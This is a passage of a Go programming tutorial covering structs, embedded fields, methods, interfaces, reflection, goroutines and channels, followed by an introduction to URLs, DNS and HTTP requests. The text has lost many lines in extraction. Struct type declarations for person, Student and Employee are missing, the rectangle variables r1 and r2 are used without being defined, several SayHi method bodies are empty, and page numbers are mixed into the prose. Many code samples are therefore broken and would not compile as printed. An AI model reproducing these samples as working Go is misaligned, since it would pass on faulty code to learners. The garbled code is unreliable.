There are three more ways to initialize a struct.
Assign initial values by order
P := person{"Tom", 25}
Use the format field:value to initialize the struct without order
P := person{age:24, name:"Bob"}
Define an anonymous struct, then initialize it
P := struct{name string; age int}{"Amy",18}
Let's see a complete example.
53
struct
package main
import "fmt"
// define a new type

name string
age int
}
// struct is passed by value

// compare the age of two people, then return the older person and differences of age
func Older(p1, p2 person) (person, int) {
if p1.age > p2.age {
return p1, p1.age - p2.age
}
return p2, p2.age - p1.age
}
func main() {
var tom person
tom.name, tom.age = "Tom", 18

bob := person{age: 25, name: "Bob"}
paul := person{"Paul", 43}
tb_Older, tb_diff := Older(tom, bob)

tp_Older, tp_diff := Older(tom, paul)
bp_Older, bp_diff := Older(bob, paul)
fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, bob.name, tb_Older.name, tb_diff)

fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, paul.name, tp_Older.name, tp_diff)
fmt.Printf("Of %s and %s, %s is older by %d years\n", bob.name, paul.name, bp_Older.name, bp_diff)
}
embedded fields in struct

I've just introduced to you how to define a struct with field names and type. In fact, Go supports fields without names, but
with types. We call these embedded fields.
When the embedded field is a struct, all the fields in that struct will implicitly be the fields in the struct in which it has been
embedded.
Let's see one example.
54
struct
package main
import "fmt"
type Human struct {

name string
age int
weight int
}
type Student struct {

Human // embedded field, it means Student struct includes all fields that Human has.
specialty string
}
func main() {
// instantiate and initialize a student
mark := Student{Human{"Mark", 25, 120}, "Computer Science"}
// access fields
fmt.Println("His name is ", mark.name)
fmt.Println("His age is ", mark.age)
fmt.Println("His weight is ", mark.weight)
fmt.Println("His specialty is ", mark.specialty)
// modify mark's specialty

mark.specialty = "AI"
fmt.Println("Mark changed his specialty")
fmt.Println("His specialty is ", mark.specialty)
fmt.Println("Mark become old. He is not an athlete anymore")

mark.age = 46
mark.weight += 60
fmt.Println("His age is", mark.age)
fmt.Println("His weight is", mark.weight)
}
Figure 2.7 Embedding in Student and Human
We see that we can access the age and name fields in Student just like we can in Human. This is how embedded fields
work. It's very cool, isn't it? Hold on, there's something cooler! You can even use Student to access Human in this
embedded field!
mark.Human = Human{"Marcus", 55, 220}

mark.Human.age -= 1
All the types in Go can be used as embedded fields.
55
struct
package main
import "fmt"
type Skills []string
type Human struct {

name string
age int
weight int
}

Human // struct as embedded field
Skills // string slice as embedded field
int // built-in type as embedded field
specialty string
}
func main() {
// initialize Student Jane
jane := Student{Human: Human{"Jane", 35, 100}, specialty: "Biology"}
// access fields
fmt.Println("Her name is ", jane.name)
fmt.Println("Her age is ", jane.age)
fmt.Println("Her weight is ", jane.weight)
fmt.Println("Her specialty is ", jane.specialty)
// modify value of skill field
jane.Skills = []string{"anatomy"}
fmt.Println("Her skills are ", jane.Skills)
fmt.Println("She acquired two new ones ")
jane.Skills = append(jane.Skills, "physics", "golang")
fmt.Println("Her skills now are ", jane.Skills)
// modify embedded field
jane.int = 3
fmt.Println("Her preferred number is ", jane.int)
}
In the above example, we can see that all types can be embedded fields and we can use functions to operate on them.
There is one more problem however. If Human has a field called phone and Student has a field with same name, what
should we do?
Go use a very simple way to solve it. The outer fields get upper access levels, which means when you access
student.phone , we will get the field called phone in student, not the one in the Human struct. This feature can be simply
seen as field overload ing.
56
struct
package main
import "fmt"
type Human struct {

name string
age int
phone string // Human has phone field
}
type Employee struct {

Human
specialty string
phone string // phone in employee
}
func main() {
Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"}
fmt.Println("Bob's work phone is:", Bob.phone)

fmt.Println("Bob's personal phone is:", Bob.Human.phone)
}
Links
Directory
Previous section: Control statements and functions
Next section: Object-oriented
57
Object-oriented
Object-oriented
We talked about functions and structs in the last two sections, but did you ever consider using functions as fields of a
struct? In this section, I will introduce you to another form of function that has a receiver, which is called a method .
method
Suppose you define a "rectangle" struct and you want to calculate its area. We'd typically use the following code to achieve
this goal.
package main
import "fmt"
type Rectangle struct {

width, height float64
}
func area(r Rectangle) float64 {

return r.width * r.height
}
func main() {
r1 := Rectangle{12, 2}
fmt.Println("Area of r1 is: ", area(r1))
fmt.Println("Area of r2 is: ", area(r2))
}
The above example can calculate a rectangle's area. We use the function called area , but it's not a method of the
rectangle struct (like class methods in classic object-oriented languages). The function and struct are two independent
things as you may notice.
It's not a problem so far. However, if you also have to calculate the area of a circle, square, pentagon, or any other kind of
shape, you are going to need to add additional functions with very similar names.
Figure 2.8 Relationship between function and struct
Obviously that's not cool. Also, the area should really be the property of a circle or rectangle.
This is where a method comes to play. The method is a function affiliated with a type. It has similar syntax as function
except, after the func keyword has a parameter called the receiver , which is the main body of that method.
Using the same example, Rectangle.Area() belongs directly to rectangle, instead of as a peripheral function. More
specifically, length , width and Area() all belong to rectangle.
As Rob Pike said.
"A method is a function with an implicit first argument, called a receiver."
Syntax of method.
func (r ReceiverType) funcName(parameters) (results)
Let's change our example using method instead.
58
Object-oriented
package main
import (
"fmt"
"math"
)
type Circle struct {

radius float64
}
type Rectangle struct {

width, height float64
}
// method
func (c Circle) Area() float64 {
return c.radius * c.radius * math.Pi
}
// method
func (r Rectangle) Area() float64 {
return r.width * r.height
}
func main() {
c1 := Circle{10}
c2 := Circle{25}
fmt.Println("Area of c1 is: ", c1.Area())

fmt.Println("Area of c2 is: ", c2.Area())
fmt.Println("Area of r1 is: ", r1.Area())
fmt.Println("Area of r2 is: ", r2.Area())
}
Notes for using methods.
If the name of methods are the same but they don't share the same receivers, they are not the same.
Methods are able to access fields within receivers.
Use . to call a method in the struct, the same way fields are called.
Figure 2.9 Methods are different in different structs
In the example above, the Area() methods belong to both Rectangle and Circle respectively, so the receivers are Rectangle
and Circle.
One thing that's worth noting is that the method with a dotted line means the receiver is passed by value, not by reference.
The difference between them is that a method can change its receiver's values when the receiver is passed by reference,
and it gets a copy of the receiver when the receiver is passed by value.
Can the receiver only be a struct? Of course not. Any type can be the receiver of a method. You may be confused about
customized types. Struct is a special kind of customized type -there are more customized types.
Use the following format to define a customized type.
type typeName typeLiteral
Examples of customized types:
59
Object-oriented
type age int

type money float32
type months map[string]int
m := months {
"January":31,
"February":28,
...
"December":31,
}
I hope that you know how to use customized types now. Similar to typedef in C, we use ages to substitute int in the
above example.
Let's get back to talking about method .
You can use as many methods in custom types as you want.
package main
import "fmt"
const (
WHITE = iota
BLACK
BLUE
RED
YELLOW
)
type Box struct {

width, height, depth float64
color Color
}
type Color byte
type BoxList []Box //a slice of boxes
// method
func (b Box) Volume() float64 {
return b.width * b.height * b.depth
}
// method with a pointer receiver

func (b *Box) SetColor(c Color) {
b.color = c
}
// method
func (bl BoxList) BiggestsColor() Color {
v := 0.00
k := Color(WHITE)
for _, b := range bl {
if b.Volume() > v {
v = b.Volume()
k = b.color
}
}
return k
}
// method
func (bl BoxList) PaintItBlack() {
for i, _ := range bl {
bl[i].SetColor(BLACK)
}
}
// method
func (c Color) String() string {
60
Object-oriented
strings := []string{"WHITE", "BLACK", "BLUE", "RED", "YELLOW"}

return strings[c]
}
func main() {
boxes := BoxList{
Box{4, 4, 4, RED},
Box{10, 10, 1, YELLOW},
Box{1, 1, 20, BLACK},
Box{10, 10, 1, BLUE},
Box{10, 30, 1, WHITE},
Box{20, 20, 20, YELLOW},
}
fmt.Printf("We have %d boxes in our set\n", len(boxes))

fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³")
fmt.Println("The color of the last one is", boxes[len(boxes)-1].color.String())
fmt.Println("The biggest one is", boxes.BiggestsColor().String())
// Let's paint them all black

boxes.PaintItBlack()
fmt.Println("The color of the second one is", boxes[1].color.String())

fmt.Println("Obviously, now, the biggest one is", boxes.BiggestsColor().String())
}
We define some constants and customized types.
Use Color as alias of byte .

Define a struct Box which has fields height, width, length and color.
Define a struct BoxList which has Box as its field.
Then we defined some methods for our customized types.
Volume() uses Box as its receiver and returns the volume of Box.
SetColor( c Color) changes Box's color.
BiggestsColor() returns the color which has the biggest volume.
PaintItBlack() sets color for all Box in BoxList to black.
String() use Color as its receiver, returns the string format of color name.
Is it much clearer when we use words to describe our requirements? We often write our requirements before we start
coding.
Use pointer as receiver

Let's take a look at SetColor method. Its receiver is a pointer of Box. Yes, you can use *Box as a receiver. Why do we
use a pointer here? Because we want to change Box's color in this method. Thus, if we don't use a pointer, it will only
change the value inside a copy of Box.
If we see that a receiver is the first argument of a method, it's not hard to understand how it works.
You might be asking why we aren't using (*b).Color=c instead of b.Color=c in the SetColor() method. Either one is OK
here because Go knows how to interpret the assignment. Do you think Go is more fascinating now?
You may also be asking whether we should use (&bl[i]).SetColor(BLACK) in PaintItBlack because we pass a pointer to
SetColor . Again, either one is OK because Go knows how to interpret it!
Inheritance of method
We learned about inheritance of fields in the last section. Similarly, we also have method inheritance in Go. If an
anonymous field has methods, then the struct that contains the field will have all the methods from it as well.
61
Object-oriented
package main
import "fmt"
type Human struct {

name string
age int
phone string
}

Human // anonymous field
school string
}

Human
company string
}
// define a method in Human

func (h *Human) SayHi() {
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}
func main() {
sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"}
mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"}
sam.SayHi()
mark.SayHi()
}
Method Overriding
If we want Employee to have its own method SayHi , we can define a method that has the same name in Employee, and it
will hide SayHi in Human when we call it.
62
Object-oriented
package main
import "fmt"
type Human struct {

name string
age int
phone string
}

Human
school string
}

Human
company string
}

}
func (e *Employee) SayHi() {

fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
e.company, e.phone) //Yes you can split into 2 lines here.
}
func main() {
sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"}
mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"}
sam.SayHi()
mark.SayHi()
}
You are able to write an Object-oriented program now, and methods use rule of capital letter to decide whether public or
private as well.
Links
Directory
Previous section: struct
Next section: interface
63
interface
2.6 Interface
Interface
One of the subtlest design features in Go are interfaces. After reading this section, you will likely be impressed by their
implementation.
What is an interface
In short, an interface is a set of methods that we use to define a set of actions.
Like the examples in previous sections, both Student and Employee can SayHi() , but they don't do the same thing.
Let's do some more work. We'll add one more method Sing() to them, along with the BorrowMoney() method to Student
and the SpendSalary() method to Employee.
Now, Student has three methods called SayHi() , Sing() and BorrowMoney() , and Employee has SayHi() , Sing() and
SpendSalary() .
This combination of methods is called an interface and is implemented by both Student and Employee. So, Student and
Employee implement the interface: SayHi() and Sing() . At the same time, Employee doesn't implement the interface:
BorrowMoney() , and Student doesn't implement the interface: SpendSalary() . This is because Employee doesn't have the
method BorrowMoney() and Student doesn't have the method SpendSalary() .
Type of Interface
An interface defines a set of methods, so if a type implements all the methods we say that it implements the interface.
64
interface
type Human struct {

name string
age int
phone string
}

Human
school string
loan float32
}

Human
company string
money float32
}
// define interfaces
type Men interface {
SayHi()
Sing(lyrics string)
Guzzle(beerStein string)
}
type YoungChap interface {

SayHi()
Sing(song string)
BorrowMoney(amount float32)
}
type ElderlyGent interface {

SayHi()
Sing(song string)
SpendSalary(amount float32)
}

}
func (h *Human) Sing(lyrics string) {

fmt.Println("La la, la la la, la la la la la...", lyrics)
}
func (h *Human) Guzzle(beerStein string) {

fmt.Println("Guzzle Guzzle Guzzle...", beerStein)
}
// Employee overloads SayHi

func (e *Employee) SayHi() {
}
func (s *Student) BorrowMoney(amount float32) {

s.loan += amount // (again and again and...)
}
func (e *Employee) SpendSalary(amount float32) {

e.money -= amount // More vodka please!!! Get me through the day!
}
We know that an interface can be implemented by any type, and one type can implement many interfaces simultaneously.
Note that any type implements the empty interface interface{} because it doesn't have any methods and all types have
zero methods by default.
Value of interface
65
interface
So what kind of values can be put in the interface? If we define a variable as a type interface, any type that implements the
interface can assigned to this variable.
Like the above example, if we define a variable "m" as interface Men, then any one of Student, Human or Employee can be
assigned to "m". So we could have a slice of Men, and any type that implements interface Men can assign to this slice. Be
aware however that the slice of interface doesn't have the same behavior as a slice of other types.
package main
import "fmt"
type Human struct {

name string
age int
phone string
}

Human
school string
loan float32
}

Human
company string
money float32
}
// Interface Men implemented by Human, Student and Employee

type Men interface {
SayHi()
Sing(lyrics string)
}
// method
func (h Human) SayHi() {
}
// method
func (h Human) Sing(lyrics string) {
fmt.Println("La la la la...", lyrics)
}
// method
func (e Employee) SayHi() {
}
func main() {
mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00}
paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100}
sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000}
tom := Employee{Human{"Sam", 36, "444-222-XXX"}, "Things Ltd.", 5000}
// define interface i
var i Men
//i can store Student

i = mike
fmt.Println("This is Mike, a Student:")
i.SayHi()
i.Sing("November rain")
//i can store Employee

i = tom
fmt.Println("This is Tom, an Employee:")
i.SayHi()
66
interface
i.Sing("Born to be wild")
// slice of Men
fmt.Println("Let's use a slice of Men and see what happens")
x := make([]Men, 3)
// these three elements are different types but they all implemented interface Men
x[0], x[1], x[2] = paul, sam, mike
for _, value := range x {

value.SayHi()
}
}
An interface is a set of abstract methods, and can be implemented by non-interface types. It cannot therefore implement
itself.
Empty interface
An empty interface is an interface that doesn't contain any methods, so all types implement an empty interface. This fact is
very useful when we want to store all types at some point, and is similar to void* in C.
// define a as empty interface

var void interface{}
// vars
i := 5
s := "Hello world"
// a can store value of any type

void = i
void = s
If a function uses an empty interface as its argument type, it can accept any type; if a function uses empty interface as its
return value type, it can return any type.
Method arguments of an interface

Any variable can be used in an interface. So how can we use this feature to pass any type of variable to a function?
For example we use fmt.Println a lot, but have you ever noticed that it can accept any type of argument? Looking at the
open source code of fmt , we see the following definition.
type Stringer interface {

String() string
}
This means any type that implements interface Stringer can be passed to fmt.Println as an argument. Let's prove it.
67
interface
package main
import (
"fmt"
"strconv"
)
type Human struct {

name string
age int
phone string
}
// Human implements fmt.Stringer

func (h Human) String() string {
return "Name:" + h.name + ", Age:" + strconv.Itoa(h.age) + " years, Contact:" + h.phone
}
func main() {
Bob := Human{"Bob", 39, "000-7777-XXX"}
fmt.Println("This Human is : ", Bob)
}
Looking back to the example of Box, you will find that Color implements interface Stringer as well, so we are able to
customize the print format. If we don't implement this interface, fmt.Println prints the type with its default format.
fmt.Println("The biggest one is", boxes.BiggestsColor().String())

fmt.Println("The biggest one is", boxes.BiggestsColor())
Attention: If the type implemented the interface error , fmt will call Error() , so you don't have to implement Stringer at
this point.
Type of variable in an interface

If a variable is the type that implements an interface, we know that any other type that implements the same interface can
be assigned to this variable. The question is how can we know the specific type stored in the interface. There are two ways
which I will show you.
Assertion of Comma-ok pattern
Go has the syntax value, ok := element.(T) . This checks to see if the variable is the type that we expect, where "value" is
the value of the variable, "ok" is a variable of boolean type, "element" is the interface variable and the T is the type of
assertion.
If the element is the type that we expect, ok will be true, false otherwise.
Let's use an example to see more clearly.
68
interface
package main
import (
"fmt"
"strconv"
)
type Element interface{}

type List []Element
type Person struct {

name string
age int
}
func (p Person) String() string {

return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)"
}
func main() {
list := make(List, 3)
list[0] = 1 // an int
list[1] = "Hello" // a string
list[2] = Person{"Dennis", 70}
for index, element := range list {

if value, ok := element.(int); ok {
fmt.Printf("list[%d] is an int and its value is %d\n", index, value)
} else if value, ok := element.(string); ok {
fmt.Printf("list[%d] is a string and its value is %s\n", index, value)
} else if value, ok := element.(Person); ok {
fmt.Printf("list[%d] is a Person and its value is %s\n", index, value)
} else {
fmt.Printf("list[%d] is of a different type\n", index)
}
}
}
It's quite easy to use this pattern, but if we have many types to test, we'd better use switch .
switch test
Let's use switch to rewrite the above example.
69
interface
package main
import (
"fmt"
"strconv"
)
type Element interface{}

type List []Element

name string
age int
}
func (p Person) String() string {

return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)"
}
func main() {
list := make(List, 3)
list[0] = 1 //an int
list[1] = "Hello" //a string
list[2] = Person{"Dennis", 70}
for index, element := range list {

switch value := element.(type) {
case int:
fmt.Printf("list[%d] is an int and its value is %d\n", index, value)
case string:
fmt.Printf("list[%d] is a string and its value is %s\n", index, value)
case Person:
fmt.Printf("list[%d] is a Person and its value is %s\n", index, value)
default:
fmt.Println("list[%d] is of a different type", index)
}
}
}
One thing you should remember is that element.(type) cannot be used outside of the switch body, which means in that
case you have to use the comma-ok pattern .
Embedded interfaces
The most beautiful thing is that Go has a lot of built-in logic syntax, such as anonymous fields in struct. Not suprisingly, we
can use interfaces as anonymous fields as well, but we call them Embedded interfaces . Here, we follow the same rules as
anonymous fields. More specifically, if an interface has another interface embedded within it, it will behave as if it has all the
methods that the embedded interface has.
We can see that the source file in container/heap has the following definition:
type Interface interface {

sort.Interface // embedded sort.Interface
Push(x interface{}) //a Push method to push elements into the heap
Pop() interface{} //a Pop method that pops elements from the heap
}
We see that sort.Interface is an embedded interface, so the above Interface has the three methods contained within the
sort.Interface implicitly.
70
interface
type Interface interface {

// Len is the number of elements in the collection.
Len() int
// Less returns whether the element with index i should sort
// before the element with index j.
Less(i, j int) bool
// Swap swaps the elements with indexes i and j.
Swap(i, j int)
}
Another example is the io.ReadWriter in package io .
// io.ReadWriter
type ReadWriter interface {
Reader
Writer
}
Reflection
Reflection in Go is used for determining information at runtime. We use the reflect package, and The Laws of Reflection
post explains how reflect works in Go.
There are three steps involved when using reflect. First, we need to convert an interface to reflect types (reflect.Type or
reflect.Value, this depends on the situation).
t := reflect.TypeOf(i) // get meta-data in type i, and use t to get all elements

v := reflect.ValueOf(i) // get actual value in type i, and use v to change its value
After that, we can convert the reflected types to get the values that we need.
var x float64 = 3.4
t := reflect.TypeOf(x)
v := reflect.ValueOf(x)
fmt.Println("type:", t)
fmt.Println("value:", v)
fmt.Println("kind is float64:", v.Kind() == reflect.Float64)
Finally, if we want to change the values of the reflected types, we need to make it modifiable. As discussed earlier, there is
a difference between pass by value and pass by reference. The following code will not compile.
var x float64 = 3.4

v := reflect.ValueOf(x)
v.SetFloat(7.1)
Instead, we must use the following code to change the values from reflect types.
var x float64 = 3.4

p := reflect.ValueOf(&x)
v := p.Elem()
v.SetFloat(7.1)
We have just discussed the basics of reflection, however you must practice more in order to understand more.
Links
71
interface
Directory
Previous section: Object-oriented
Next section: Concurrency
72
Concurrency
Concurrency
It is said that Go is the C of the 21st century. I think there are two reasons for it. First, Go is a simple language. Second,
concurrency is a hot topic in today's world, and Go supports this feature at the language level.
goroutine
goroutines and concurrency are built into the core design of Go. They're similar to threads but work differently. Go also
gives you full support to sharing memory in your goroutines. One goroutine usually uses 4~5 KB of stack memory.
Therefore, it's not hard to run thousands of goroutines on a single computer. A goroutine is more lightweight, more efficient
and more convenient than system threads.
goroutines run on the thread manager at runtime in Go. We use the go keyword to create a new goroutine, which is a
function at the underlying level ( main() is a goroutine ).
go hello(a, b, c)
Let's see an example.
package main
import (
"fmt"
"runtime"
)
func say(s string) {

for i := 0; i < 5; i++ {
runtime.Gosched()
fmt.Println(s)
}
}
func main() {
go say("world") // create a new goroutine
say("hello") // current goroutine
}
Output：
hello
world
hello
world
hello
world
hello
world
hello
We see that it's very easy to use concurrency in Go by using the keyword go . In the above example, these two goroutines
share some memory, but we would better off following the design recipe: Don't use shared data to communicate, use
communication to share data.
runtime.Gosched() means let the CPU execute other goroutines, and come back at some point.
In Go 1.5,the runtime now sets the default number of threads to run simultaneously, defined by GOMAXPROCS, to the
number of cores available on the CPU.
73
Concurrency
Before Go 1.5,The scheduler only uses one thread to run all goroutines, which means it only implements concurrency. If
you want to use more CPU cores in order to take advantage of parallel processing, you have to call
runtime.GOMAXPROCS(n) to set the number of cores you want to use. If n<1 , it changes nothing.
channels
goroutines run in the same memory address space, so you have to maintain synchronization when you want to access
shared memory. How do you communicate between different goroutines? Go uses a very good communication mechanism
called channel . A channel is like two-way pipeline in Unix shells: use channel to send or receive data. The only data
type that can be used in channels is the type channel and the keyword chan . Be aware that you have to use make to
create a new channel .
ci := make(chan int)
cs := make(chan string)
cf := make(chan interface{})
channel uses the operator <- to send or receive data.
ch <- v // send v to channel ch.

v := <-ch // receive data from ch, and assign to v
Let's see more examples.
package main
import "fmt"
func sum(a []int, c chan int) {

total := 0
for _, v := range a {
total += v
}
c <- total // send total to c
}
func main() {
a := []int{7, 2, 8, -9, 4, 0}
c := make(chan int)
go sum(a[:len(a)/2], c)
go sum(a[len(a)/2:], c)
x, y := <-c, <-c // receive from c
fmt.Println(x, y, x+y)
}
Sending and receiving data in channels blocks by default, so it's much easier to use synchronous goroutines. What I mean
by block is that a goroutine will not continue when receiving data from an empty channel, i.e ( value := <-ch ), until other
goroutines send data to this channel. On the other hand, the goroutine will not continue until the data it sends to a channel,
i.e ( ch<-5 ), is received.
Buffered channels
I introduced non-buffered channels above. Go also has buffered channels that can store more than a single element. For
example, ch := make(chan bool, 4) , here we create a channel that can store 4 boolean elements. So in this channel, we
are able to send 4 elements into it without blocking, but the goroutine will be blocked when you try to send a fifth element
and no goroutine receives it.
74
Concurrency
ch := make(chan type, n)
n == 0 ! non-buffer（block）
n > 0 ! buffer（non-block until n elements in the channel）
You can try the following code on your computer and change some values.
package main
import "fmt"
func main() {
c := make(chan int, 2) // change 2 to 1 will have runtime error, but 3 is fine
c <- 1
c <- 2
fmt.Println(<-c)
fmt.Println(<-c)
}
Range and Close

We can use range to operate on buffer channels as in slice and map.
package main
import (
"fmt"
)
func fibonacci(n int, c chan int) {

x, y := 1, 1
for i := 0; i < n; i++ {
c <- x
x, y = y, x+y
}
close(c)
}
func main() {
c := make(chan int, 10)
go fibonacci(cap(c), c)
for i := range c {
fmt.Println(i)
}
}
for i := range c will not stop reading data from channel until the channel is closed. We use the keyword close to close
the channel in above example. It's impossible to send or receive data on a closed channel; you can use v, ok := <-ch to
test if a channel is closed. If ok returns false, it means the there is no data in that channel and it was closed.
Remember to always close channels in producers and not in consumers, or it's very easy to get into panic status.
Another thing you need to remember is that channels are not like files. You don't have to close them frequently unless you
are sure the channel is completely useless, or you want to exit range loops.
Select
In the above examples, we only use one channel, but how can we deal with more than one channel? Go has a keyword
called select to listen to many channels.
75
Concurrency
select is blocking by default and it continues to execute only when one of channels has data to send or receive. If several
channels are ready to use at the same time, select chooses which to execute randomly.
package main
import "fmt"
func fibonacci(c, quit chan int) {

x, y := 1, 1
for {
select {
case c <- x:
x, y = y, x+y
case <-quit:
fmt.Println("quit")
return
}
}
}
func main() {
c := make(chan int)
quit := make(chan int)
go func() {
for i := 0; i < 10; i++ {
fmt.Println(<-c)
}
quit <- 0
}()
fibonacci(c, quit)
}
select has a default case as well, just like switch . When all the channels are not ready for use, it executes the default
case (it doesn't wait for the channel anymore).
select {
case i := <-c:
// use i
default:
// executes here when c is blocked
}
Timeout
Sometimes a goroutine becomes blocked. How can we avoid this to prevent the whole program from blocking? It's simple,
we can set a timeout in the select.
func main() {
c := make(chan int)
o := make(chan bool)
go func() {
for {
select {
case v := <-c:
println(v)
case <-time.After(5 * time.Second):
println("timeout")
o <- true
break
}
}
}()
<-o
}
76
Concurrency
Runtime goroutine
The package runtime has some functions for dealing with goroutines.
runtime.Goexit()
Exits the current goroutine, but defered functions will be executed as usual.
runtime.Gosched()
Lets the scheduler execute other goroutines and comes back at some point.
runtime.NumCPU() int
Returns the number of CPU cores
runtime.NumGoroutine() int
Returns the number of goroutines
runtime.GOMAXPROCS(n int) int
Sets how many CPU cores you want to use
Links
Directory
Previous section: interface
77
Summary
2.8 Summary
In this chapter, we mainly introduced the 25 Go keywords. Let's review what they are and what they do.
break default func interface select

case defer go map struct
chan else goto package switch
const fallthrough if range type
continue for import return var
var and const are used to define variables and constants.
package and import are for package use.
func is used to define functions and methods.
return is used to return values in functions or methods.
defer is used to define defer functions.
go is used to start a new goroutine.
select is used to switch over multiple channels for communication.
interface is used to define interfaces.
struct is used to define special customized types.
break , case , continue , for , fallthrough , else , if , switch , goto and default were introduced in section
2.3.
chan is the type of channel for communication among goroutines.
type is used to define customized types.
map is used to define map which is similar to hash tables in other languages.
range is used for reading data from slice , map and channel .
If you understand how to use these 25 keywords, you've learned a lot of Go already.
Links
Directory
Previous section: Concurrency
Next chapter: Web foundation
78
Web foundation
3 Web foundation
The reason you are reading this book is that you want to learn to build web applications in Go. As I've said before, Go
provides many powerful packages like http . These packages can help you a lot when trying to build web applications. I'll
teach you everything you need to know in the following chapters, and we'll talk about some concepts of the web and how to
run web applications in Go in this chapter.
Links
Directory
Next section: Web working principles
79
Web working principles

Every time you open your browsers, type some URLs and press enter, you will see beautiful web pages appear on your
screen. But do you know what is happening behind these simple actions?
Normally, your browser is a client. After you type a URL, it takes the host part of the URL and sends it to a Domain Name
Server (DNS) in order to get the IP address of the host. Then it connects to the IP address and asks to setup a TCP
connection. The browser sends HTTP requests through the connection. The server handles them and replies with HTTP
responses containing the content that make up the web page. Finally, the browser renders the body of the web page and
disconnects from the server.
Figure 3.1 Processes of users visit a website
A web server, also known as an HTTP server, uses the HTTP protocol to communicate with clients. All web browsers can
be considered clients.
We can divide the web's working principles into the following steps:
Client uses TCP/IP protocol to connect to server.

Client sends HTTP request packages to server.
Server returns HTTP response packages to client. If the requested resources include dynamic scripts, server calls
script engine first.
Client disconnects from server, starts rendering HTML.
This is a simple work flow of HTTP affairs -notice that the server closes its connections after it sends data to the clients,
then waits for the next request.
URL and DNS resolution

We always use URLs to access web pages, but do you know how URLs work?
The full name of a URL is Uniform Resource Locator. It's for describing resources on the internet and its basic form is as
follows.
scheme://host[:port#]/path/.../[?query-string][#anchor]
scheme assign underlying protocol (such as HTTP, HTTPS, FTP)
host IP or domain name of HTTP server
port# default port is 80, and it can be omitted in this case.
If you want to use other ports, you must specify which port. For example,
http://www.cnblogs.com:8080/
path resources path
query-string data are sent to server
anchor anchor
DNS is an abbreviation of Domain Name System. It's the naming system for computer network services, and it converts
domain names to actual IP addresses, just like a translator.
Figure 3.2 DNS working principles
To understand more about its working principle, let's see the detailed DNS resolution process as follows.
1. After typing the domain name www.qq.com in the browser, the operating system will check if there are any mapping
relationships in the hosts' files for this domain name. If so, then the domain name resolution is complete.
2. If no mapping relationships exist in the hosts' files, the operating system will check if any cache exists in the DNS. If so,
80
then the domain name resolution is complete.

3. If no mapping relationships exist in both the host and DNS cache, the operating system finds the first DNS resolution
server in your TCP/IP settings, which is likely your local DNS server. When the local DNS server receives the query, if
the domain name that you want to query is contained within the local configuration of its regional resources, it returns
the results to the client. This DNS resolution is authoritative.
4. If the local DNS server doesn't contain the domain name but a mapping relationship exists in the cache, the local DNS
server gives back this result to the client. This DNS resolution is not authoritative.
5. If the local DNS server cannot resolve this domain name either by configuration of regional resources or cache, it will
proceed to the next step, which depends on the local DNS server's settings. -If the local DNS server doesn't enable
forwarding, it routes the request to the root DNS server, then returns the IP address of a top level DNS server which
may know the domain name, .com in this case. If the first top level DNS server doesn't recognize the domain name, it
again reroutes the request to the next top level DNS server until it reaches one that recognizes the domain name.
Then the top level DNS server asks this next level DNS server for the IP address corresponding to www.qq.com . -If the
local DNS server has forwarding enabled, it sends the request to an upper level DNS server. If the upper level DNS
server also doesn't recognize the domain name, then the request keeps getting rerouted to higher levels until it finally
reaches a DNS server which recognizes the domain name.
Whether or not the local DNS server enables forwarding, the IP address of the domain name always returns to the local
DNS server, and the local DNS server sends it back to the client.
Figure 3.3 DNS resolution work flow
Recursive query process simply means that the enquirers change in the process. Enquirers do not change in Iterative
query processes.
Now we know clients get IP addresses in the end, so the browsers are communicating with servers through IP addresses.
HTTP protocol
The HTTP protocol is a core part of web services. It's important to know what the HTTP protocol is before you understand
how the web works.
HTTP is the protocol that is used to facilitate communication between browser and web server. It is based on the TCP
protocol and usually uses port 80 on the side of the web server. It is a protocol that utilizes the request-response model -
clients send requests and servers respond. According to the HTTP protocol, clients always setup new connections and
send HTTP requests to servers. Servers are not able to connect to clients proactively, or establish callback connections.
The connection between a client and a server can be closed by either side. For example, you can cancel your download
request and HTTP connection and your browser will disconnect from the server before you finish downloading.
The HTTP protocol is stateless, which means the server has no idea about the relationship between the two connections
even though they are both from same client. To solve this problem, web applications use cookies to maintain the state of
connections.
Because the HTTP protocol is based on the TCP protocol, all TCP attacks will affect HTTP communications in your server.
Examples of such attacks are SYN flooding, DoS and DDoS attacks.
HTTP request package (browser information)

Request packages all have three parts: request line, request header, and body. There is one blank line between header
and body.
81
GET /domains/example/ HTTP/1.1 // request line: request method, URL, protocol and its version
Host：www.iana.org // domain name
User-Agent：Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4
// browser information
Accept：text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 // mime that clients can accept
Accept-Encoding：gzip,deflate,sdch // stream compression
Accept-Charset：UTF-8,*;q=0.5 // character set in client side
// blank line
// body, request resource arguments (for example, arguments in POST)
We use fiddler to get the following request information.
Figure 3.4 Information of a GET request caught by fiddler
Figure 3.5 Information of a POST request caught by fiddler
We can see that GET does not have a request body, unlike POST, which does.
There are many methods you can use to communicate with servers in HTTP; GET, POST, PUT and DELETE are the 4
basic methods that we typically use. A URL represents a resource on a network, so these 4 methods define the query,
change, add and delete operations that can act on these resources. GET and POST are very commonly used in HTTP.
GET can append query parameters to the URL, using ? to separate the URL and parameters and & between the
arguments, like EditPosts.aspx?name=test1&id=123456 . POST puts data in the request body because the URL implements a
length limitation via the browser. Thus, POST can submit much more data than GET. Also, when we submit user names
and passwords, we don't want this kind of information to appear in the URL, so we use POST to keep them invisible.
HTTP response package (server information)

Let's see what information is contained in the response packages.
HTTP/1.1 200 OK // status line

Server: nginx/1.0.8 // web server software and its version in the server machine
